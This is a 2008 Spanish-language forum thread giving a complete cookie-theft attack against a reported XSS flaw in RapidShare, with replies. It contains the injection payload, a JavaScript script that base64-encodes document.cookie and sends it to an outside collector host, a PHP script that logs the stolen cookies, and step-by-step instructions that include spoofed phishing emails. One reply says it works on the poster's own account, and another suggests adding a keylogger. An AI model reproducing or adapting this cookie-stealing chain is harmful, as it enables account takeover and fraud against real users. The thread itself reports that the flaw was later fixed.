[°] Vulnerabilidad de XSS en RapidShare

Iniciado por fNiX, 31 Julio 2008, 00:53 AM

0 Miembros y 1 Visitante están viendo este tema.

fNiX

Los chicos de RapidShare andan perezosos para el tema de corregir los bugs de su portal, hace tiempo se avisó de una vulnerabilidad XSS que aun sigue en pie y no han corregido aun a fecha de este artículo. Mediante este Bug XSS se puede producir el robo de cuentas de usuario mediante extracción de las cookies de usuarios logueados en cuentas Rapidshare Premium, si un atacante roba una cookie lógicamente tendrá acceso a toda la cuenta, con poder para borrar los ficheros subidos, descargar lo que se quiera, cambiar la password de la cuenta, modificar el perfil,.. todo lo que se le ocurra.

Se recomienda cerrar las sesiones de Rapidshare cuando no se esté usando para evitar posibles problemas. También es muy recomendable el uso de extensiones para navegador encargadas de buscar e identificar ataques XSS, como es Noscript.

Para meter un poco de presión a los programadores de RapidShare y concienciar a los usuarios de la importancia que tiene corregir cuanto antes las vulnerabilidades, vamos a explicar de forma sencilla y práctica como se pueden usar este tipo bugs con fines malintencionados. Esta información NO deberá de ser usada de forma maligna para delinquir o dañar a terceros. No nos hacemos responsables de la mala interpretación ni del mal uso de dicha información.

Variable que permite XSS:

http://rapidshare.com/cgi-bin/wiretransfer.cgi?extendaccount=

Si tenemos cuenta Premium mostrará la cookie en pantalla o en su defecto un cartel en blanco que avisa de da fe de la vulnerabilidad

...?extendaccount=123456%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

NOTA: Fijémonos en que la cadena hexadecimal de la cookie es la password del usuario!, en el ejemplo de la imagen la password es busindre.com. Este es otro error de seguridad garrafal, jamas se debe poner la clave del usuario en la cookie y mucho menos en claro o mal cifrada.

¿Una vez descubierta la inyección XSS, como la aprovecho?

Lo más común es que determinadas paginas web maliciosas, que suelen ofrecer contenidos del tipo porno, programas gratis, cracks, seriales... inserten algún tipo de código javascript que mediante el uso de iframes roben las password, eso produce que un usuario logueado en Rapidshare Premium regale su cookie al visitar esa página con código malicioso, es la técnica más común. Otra forma es explotar el robo de cuentas mediante SPAM, mandando mails a usuarios de Rapidshare con links engañosos que permitan el robo de la cookie, este es método que comentaremos para nuestra prueba de concepto.

¿Que necesitamos para la prueba de concepto?

Vamos a usar dos ficheros, un programa en javascript y un fichero PHP. De lo que consiste todo esto es que el código javascript lo insertemos mediante la vulnerabilidad XSS para que pase a formar parte del código de la web de Rapidshare. Este código al ejecutarse en el navegador de un usuario logueado como usuario premium le robara el contenido de la cookie, la encriptará en base 64 y se la mandará otro fichero php que es el encargado de guardar las cookies robadas. Lo de cifrar la cookie es con fines de ofuscación de la URL.

Un script en javascript:

Citarjavascript:
var Base64 = {

// private property
_keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",

// public method for encoding
encode : function (input) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;

input = Base64._utf8_encode(input);

while (i <input.length) {

chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);

enc1 = chr1>> 2;
enc2 = ((chr1 & 3) <<4) | (chr2>> 4);
enc3 = ((chr2 & 15) <<2) | (chr3>> 6);
enc4 = chr3 & 63;

if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}

output = output +
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);

}

return output;
},

// public method for decoding
decode : function (input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;

input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");

while (i <input.length) {

enc1 = this._keyStr.indexOf(input.charAt(i++));
enc2 = this._keyStr.indexOf(input.charAt(i++));
enc3 = this._keyStr.indexOf(input.charAt(i++));
enc4 = this._keyStr.indexOf(input.charAt(i++));

chr1 = (enc1 <<2) | (enc2>> 4);
chr2 = ((enc2 & 15) <<4) | (enc3>> 2);
chr3 = ((enc3 & 3) <<6) | enc4;

output = output + String.fromCharCode(chr1);

if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}

}

output = Base64._utf8_decode(output);

return output;

},

// private method for UTF-8 encoding
_utf8_encode : function (string) {
string = string.replace(/\r\n/g,"\n");
var utftext = "";

for (var n = 0; n <string.length; n++) {

var c = string.charCodeAt(n);

if (c <128) {
utftext += String.fromCharCode(c);
}
else if((c> 127) && (c <2048)) {
utftext += String.fromCharCode((c>> 6) | 192);
utftext += String.fromCharCode((c & 63) | 128);
}
else {
utftext += String.fromCharCode((c>> 12) | 224);
utftext += String.fromCharCode(((c>> 6) & 63) | 128);
utftext += String.fromCharCode((c & 63) | 128);
}

}

return utftext;
},

// private method for UTF-8 decoding
_utf8_decode : function (utftext) {
var string = "";
var i = 0;
var c = c1 = c2 = 0;

while ( i <utftext.length ) {

c = utftext.charCodeAt(i);

if (c <128) {
string += String.fromCharCode(c);
i++;
}
else if((c> 191) && (c <224)) {
c2 = utftext.charCodeAt(i+1);
string += String.fromCharCode(((c & 31) <<6) | (c2 & 63));
i += 2;
}
else {
c2 = utftext.charCodeAt(i+1);
c3 = utftext.charCodeAt(i+2);
string += String.fromCharCode(((c & 15) <<12) | ((c2 & 63) <<6) | (c3 & 63));
i += 3;
}

}

return string;
}

}

document.location='http://www.busindre.com/xss/cookie.php?c00k='+Base64.encode(document.cookie)



Como vemos le pasa el contenido de la cookie robada al fichero cookie.php (Después de encriptarla).

Un fichero PHP:

    <?php
    $cookie=$_GET['c00k']; #Hacemos un Get xD
    $triki=fopen("co0kies.txt",'a'); #Abrimos el archivo co0kies.txt
    fwrite($triki, "Cookie: \n ".htmlentities($cookie)."\n\n------------------------------------\n\n"); #Guardamos la cookie en el txt
    fclose($triki); #Cerramos el archivo
    echo "$cookie";
    #Redireccionamos
    ?>

Este fichero recibe la variable c00k con el contenido de la cookie robada, guardándola en un fichero llamado co0kies.txt

Una vez vistos los dos ficheros, la técnica consiste en estos 6 pasos:

1) Subir esos dos ficheros a un servidor.

2) Crear un link que use XSS para insertar el código javascript mostrado anteriormente y alojado en el servidor.

3) Mandar un email falseando la dirección de origen y un mensaje que invite a visitar el link creado anteriormente.

4) El usuario lee el correo y pulsa el link.

5) Al visitar el link dicho código javascript se ejecuta enviándole la información al fichero PHP que guardará la cookie en un fichero de texto.

6) descifrar la información obtenida en base64.

Ejemplo de Link:
javascript:
http://rapidshare.com/cgi-bin/wiretransfer.cgi?extendaccount=123456"><script src=http://www.busindre.com/xss/cookie.js'>

NOTA: Se debe convertir la USL en hexadecimal para poder realizar la inserción XSS. Dejamos un vídeo donde se encuentra el proceso de ataque 100% real donde usamos lo que anteriormente vimos en el artículo.

Vídeo de la prueba de concepto: http://fanatika.es/rapidshare_hack.swf

Fuente:
Por Busindre
http://www.busindre.com/

Asfasfos

Comprobado con mi cuenta y funciona a la perfección xDDD

Azielito


Darioxhcx

Cita de: Azielito en  2 Agosto 2008, 00:09 AM
Tambien podrias instalarle un keylogger :D
//foro.elhacker.net/hacking_avanzado/javascript_keylogger-t208132.0.html
pero asi no vale xD
mira si no conocemos el dueño xD
solo ekremos agarrar una al azar =P
no lo probe este metodo , pero se ve interesante o.O

saludos

Eazy

bleh, yo no tengo cuenta de rapidshit, sry.
[/url]

Busindre

Con respecto a lo del keylogger en javascript para usarlo en un ataque XSS falta decir que no es algo fáctible a niveles prácticos. Los navegadores implementan medidas de seguridad que evitan que mediante javascrtip + XML (Ajax) se pueda enviar información o usar código de otro sitio web ajeno al que estemos visitando, por lo que al usar el Keylogger mediante XSS no funciona.

Error que lanza el navegador:

uncaught exception: permission denied to call XmlHttpRequest.open

Mas información sobre este tema:

http://www.busindre.com/keylogger-en-ajax-y-la-eguridad-de-los-navegadores-xmlhttprequests/

Saludos!

electronik_0

ya no funka parece que rapidshare corrigio el bug  :(